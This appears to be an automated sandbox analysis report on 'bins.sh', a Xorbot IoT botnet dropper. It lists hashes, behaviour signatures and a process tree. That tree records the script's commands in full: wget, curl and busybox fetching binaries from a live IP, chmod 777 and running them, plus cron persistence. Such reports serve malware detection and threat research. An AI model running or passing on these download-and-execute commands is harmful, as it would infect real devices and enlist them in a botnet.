Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/12/2024, 00:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    29ec86d77f7675942f8a1012ba9709e4

  • SHA1

    062170abb27a237f8468cd5d69fd32f736fc96fe

  • SHA256

    b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a

  • SHA512

    e28daec2232ae26a0a3a74cee182927727360e36d90970457ae70679a88e74489ffd9532af8c5293b96b8e9999b5fec788508aa0ec69762a22bd7373068e7636

  • SSDEEP

    192:1Iackckcuc9cBUY/u/xXfgbckckcuc9cBwEnH/T:1Ia/nv0wFW/xXfgb/nv0wfH/T

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1843) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:675
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          ./ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Executes dropped EXE
          PID:701
        • /bin/rm
          rm ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
            PID:703
          • /usr/bin/wget
            wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Writes file to tmp directory
            PID:704
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            ./f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Executes dropped EXE
            PID:712
          • /bin/rm
            rm f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
              PID:714
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Writes file to tmp directory
              PID:715
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:722
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • File and Directory Permissions Modification
              PID:732
            • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              ./GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Executes dropped EXE
              PID:733
            • /bin/rm
              rm GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
                PID:735
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Writes file to tmp directory
                PID:737
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:745
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/chmod
                chmod 777 Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                ./Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Executes dropped EXE
                PID:764
              • /bin/rm
                rm Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                  PID:767
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:773
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Writes file to tmp directory
                  PID:774
                • /bin/chmod
                  chmod 777 IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • File and Directory Permissions Modification
                  PID:778
                • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  ./IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:779
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:781
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:783
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:784
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:785
                      • /bin/rm
                        rm IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                        2⤵
                          PID:788
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                          2⤵
                            PID:792

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /var/spool/cron/crontabs/tmp.jLMi2M

                          Filesize

                          210B

                          MD5

                          a4ca884b989d98bd74dd781a53d714f9

                          SHA1

                          4c1e0f5ce8034c468e9a5cf52230042b2e5de646

                          SHA256

                          ea39ed42d739d640d913378ba1e3f9d2e298b38537b3fdd0d728ba56b98e0642

                          SHA512

                          5eb9f3b8ac838ad0f033965646fc862eec91a2bf0e04cc343798c9a736f047dbe56b9829e3fa09b4ff791ec5d7d94f2ba4a06cb46d4e7413a12022f01290afa0